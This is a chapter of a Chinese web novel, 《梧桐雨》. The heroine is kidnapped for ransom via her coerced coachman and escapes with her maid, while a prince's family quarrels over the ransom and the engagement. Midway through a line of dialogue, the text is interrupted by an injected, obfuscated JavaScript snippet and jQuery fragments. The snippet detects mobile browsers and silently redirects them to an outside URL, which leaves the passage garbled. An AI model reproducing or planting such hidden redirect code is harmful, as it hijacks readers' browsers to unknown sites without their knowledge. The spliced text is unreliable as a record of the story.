49. 悍匪
作品:《梧桐雨》 日头已经落了山,马车在安静幽深的胡同里急奔。
棠妙卿见街巷越发偏僻冷清,蹙眉厉声喝道:“这不是回家的路!停下!”
李忠平日里忠厚老实,他咬紧了牙关,坐在车辕上挥鞭策马:“姑娘,我也是没法子了,今儿个得罪了!”
棠妙卿心里面一跳,头皮都绷紧了。
桃柯一看不好,抡起胳膊朝李忠的后颈袭去:“李忠,你疯了不成,到底想要做什么?”
这一下子用了十成力气,李忠闷哼一声,身子一歪,险些栽下马车。他青筋暴起,反手就是一鞭,鞭把上的木头直奔桃柯面门。
桃柯侧身躲开,竟被鞭把扫过额角,鲜血沥沥淌下来。她咬咬牙,伸脚就踹向李忠,李忠一手勒马,挥鞭的手更不留情。到底是个女子,额头上的血越流越多。
棠妙卿一把将桃柯拖进车里,将她抱在怀中,取出帕子捂在她的额头上:“李忠,你要背主不成?你到底要做什么?”
红马四蹄翻飞,越跑越快。李忠回过头,脸上满是泪水:“姑娘,不是我不忠,实在是迫不得已,我婆娘和两个娃子都被扣住了!他们说只要把您交出去,才肯放了我一家老小。”
棠妙卿道:“是谁干的?你早跟我说呀!咱们家不是大富大贵的人家,救人还是使得上力的。你说,是谁扣了你家里人?谁想要绑架我?”
李忠只埋头赶路,只顾催马。
棠妙卿见他油盐不进放软了声调:“李叔,你跟了我家这么些年,若是背主欺主,日后不说你自个儿,就说你那两个孩子,往后在城里还怎么做人?”
李忠一脸犹豫,棠妙卿紧接着道:“你想想,绑匪凶神恶煞,他们既做得出见不得人的勾当,怎么会守信用?你就算把我送过去,他们拿了银子,未必肯放了你的家人。咱们还是报官的好。”
李忠听得一愣,手中缰绳松了松,马儿慢了些。咬咬牙,仍是催马前行:“姑娘别劝了,没用的。”
棠妙卿心知说不动他了,嘴上仍是苦苦哀求:“李叔,求求你了,让我们下车,咱们回府再想办法……”
一面说,一面从头上拔下银包铁的簪子,她悄声起身,照着李忠的后颈就扎了下去!
这一下又准又狠,银簪直直没入皮肉数寸。须臾之间,棠妙卿抽出簪子,只见血如泉涌。
李忠一声惨叫,丢了缰绳,捂住脖颈,鲜血从指缝间汩汩流出。他疼得一脸狰狞,抬手给了棠妙卿一记耳光。
棠妙卿只觉耳朵嗡嗡直响,半边脸火辣辣的疼。
马车已经冲出了胡同,沿着蔡河岸边狂奔。
天色擦黑,城门已经关了,马车出不了城的。
李忠控制着奔马,眼看着到了河边一处破落的宅子。
棠家。
都在等棠妙卿回家用晚饭,棠妙仙坐在桌前,嘀咕:“菜都凉透了!都什么时辰了,还不见人影儿!”
“都吃吧,不用等她了。”棠文怀拿起筷子。
棠安吉忙吩咐道:“把妙妙爱吃的几样菜都留些出来,搁在锅里温着。”
王姨娘笑着,挑棠妙卿素日喜欢的饭菜,仔细盛了些出来。
棠妙仙撇撇嘴,瞄了王姨娘一眼。把好菜挑走大半!总是不动声色地奉承着棠妙卿,就显着你了!
……
棠妙卿扶着桃柯,下了马车。打眼一看,是个偏僻破败的宅院。
院中站着四五个人,用黑布蒙着脸,只露出一双双眼睛:“棠姑娘,我们已经跟了你几日。我们呢,也不是为了杀人,只是手头紧,想借您家一些银子花花。你懂吧?”
这不是讨价还价的时候。棠妙卿喉头发紧:“你们、你们要多少?”
为首之人说话竟然很和气:“不多,三千两现银,不收银票。棠姑娘给我一个信物,您家里明儿准备好了,咱们拿钱走人。”那人慢悠悠道,“您也晓得王老板家的小公子把?至今儿还没有找着。一手交钱,一手交货,咱们说话算话。”
王家的幼子不过十来岁,去年被绑了去,前后被勒索了两回,最后因为凑不齐银子,至今生死不明,想来也是他们做出来的。
棠妙卿后背一身冷汗,双腿发软,咬着牙道:“银子好说,你们要钱可以,只是不要动我和我的丫头。”
她抬手取下耳上的珍珠坠子:“这个,你们拿去交给我父亲,他自会准备好银子。”
棠妙卿深吸一口气,定定神:“我佩服你们刀口舔血的好汉,你们只要银子,我也只图活命。你们不要动我主仆一根毫毛,我事后绝不追究,也绝不报官。”
为首之人接过耳坠,很满意她识时务的样子,哈哈大笑:“棠姑娘敞亮,比很多男人还爽快。放心,我只要现银,拿到银子我们就走,绝不会碍着姑娘的清白名声。”
棠妙卿心中苦笑,被绑架了,还能有什么清白名声?这门亲事只怕又要生变!
那些绑匪也不把两个弱女子放在眼里,直接将她二人扔到柴房,上了门锁,留一人在门口守着。
……
夜色中,陈治平一路小跑,拍得承华院的院门山响:“小王爷!小王爷!快开门,出大事了!”
萧明德一个激灵,心里就感觉不好,出来就要往庆王妃的寿安堂走:“怎么了?父王母妃那边出事了?”
陈治平汗毛都竖起来了,急道:“王爷与王妃无碍。是棠姑娘被劫走了!”
萧明德脸色陡变,回身去拿了一把长剑:“棠家报官了没有?”
“不敢报,怕被撕票了!”陈治平也急,张了张嘴,眼看着萧明德风一样不见了。
萧琮与王妃都在外面等着,见萧明德出来,萧琮沉声道:“棠家也没这么多银子,我已经着人备好了,你带着赎金过去。”顿了顿,还是忍不住,“人要是回来了还好说,你想想清楚,满城风雨的,你不能娶一个被绑过的女人。”
萧琮说得直白,即便是救回来,这桩婚事也不能再成了。往后这座王府是你的,不能让人说闲话。
萧琮其实不想让萧明德去的,将银子交给棠家,已经仁至义尽了。
一个女人被劫走了,即便是被营救出来,名声也不好了。庆王府要退婚,棠家再不同意,胳膊拧不过大腿。只要萧琮和王妃好处给够了,依着棠文怀的性子,棠妙卿一条小命,说没就没了。
萧明德看着他们,忽然笑了笑,酒窝现了出来:“不是什么大事儿,夜深了,你们回去歇着吧。”
萧琮看着自己的长子:“女子多的是,你去救她可以。只是往后这个恶人由我来做,她回来也好,回不来也好,你们的婚事都作罢。”
萧明德急着走,还是回转脚步,笑的人心里发冷:“父王,我从来跟你是一条心的。这么多年来,对先帝、对萧惇已经是仁至义尽,你不要逼我。”
萧琮心中一颤,声音也冷了下来:“你生在皇家,就要维护皇家的脸面。几个兄弟里头
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640133|186233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,我最看重的就是你。你不能为了一个女人,伤了一家子的和气。”
萧明德绷着脸:“先帝整日不理朝政,玩弄娈童;萧惇如今也好炼丹修仙,听信道士胡言。你还要维护萧家哪门子的体面?”
萧琮气得:“明德,你也是皇室宗亲,是圣上亲封的郡王!他们怎么样我不管,你是我萧琮的儿子,这事儿就不能成!”
萧明德一笑,露出一口白森森的牙齿:“亲兄弟、堂兄弟,名字都是按五行金木水火土排的,偏偏我一人叫‘明德’。十多年了,我一直想问呢,先帝和父王,到底想让我明什么德?”
庆王妃倒吸一口凉气。
当年先帝给萧明德赐名,硬生生将他的属籍上改成了萧明德。庆王妃一直当他不放在心上,没想到记了这么多年。
只听儿子又笑道:“今日这事儿,你们只盼着背后没有萧惇的影子吧!若是他在背后动了手脚……”
萧明德轻轻笑起来,夜色中有些瘆人,他定定看着萧琮,手中长剑轻轻横过脖颈:“他是活得不耐烦了!”
见他越走越远,萧琮与庆王妃面面相觑,这是真有了不该有的心思了!
柴房的窗户纸都是破的,在夜风中呼啦啦翻飞。
桃柯的头上绑着帕子,还是有点晕。她看着棠妙卿用银簪撬窗户,银子本来就软,只是棠妙卿这根簪子里面是精铜的,外头包着一层银子。
门外守着的人没甚动静,大概是困了。棠妙卿不敢太大声,她示意桃柯去门后,与看门人周旋。
桃柯站在门后,哼哼唧唧喊头疼:“大哥,我头晕得厉害,怕是不成了,您给我找个大夫来瞧瞧吧。”
门外人不耐烦了,哥几个都在喝酒吃肉,留他一个在这守着,踹一脚门:“安生点!再叫唤我抽你!”
桃柯又哭起来,那人嫌烦,骂道:“小点声,你他妈想把官兵引来是不是?再出声我割了你的舌头!”
桃柯小声哼哼着哭,那人嫌烦,嘟囔着站到了台阶下去了。
窗栓生锈了,极难打开。棠妙卿一身汗,手也挤出了血泡,簪子一歪,戳进了皮肉里,疼得她一个哆嗦。
终于,咔哒一声,窗栓松动了。
棠妙卿心头狂跳,她屏着呼吸,隔着窗格往外看,没有人在。
外头的人只听桃柯哭道:“姑娘,我头晕,我要睡一会儿。”
一个女子声音弱弱地回到:“别哭了,我抱着你睡。一会儿家里就来人了,别怕!”
主仆二人对视一眼,合力轻轻抬起窗子。柴房的窗子不高,棠妙卿扶着桃柯先爬出去。
桃柯在外面踮着脚,待棠妙卿慢慢爬出来,她扶着窗子小心放回原处。
快十五了,月亮像是一个缺了角的银盘,挂在天上。
棠妙卿二人左右看了看,不敢往前门走。桃柯知道这种宅子的格局,拉着棠妙卿往后门摸去。
前头传来男人们喝酒划拳的声音,二人轻手轻脚,摸到后门,轻轻拉开门闩,吱呀一声,二人吓了一跳。
一出门就是蔡河岸边,芦苇齐人高,在月色下飘摇。
月朗星稀,辨明了方向,两个人手拉着手,沿着河岸疾走。
跑出老远,桃柯头疼得厉害,忍不住呻吟一声。
棠妙卿急道:“好桃柯,你忍忍,咱们马上就到大路上了。”
穿街走巷,二人沿着墙跟走,忽听后面有人喧哗:“快!她们就在前头!”

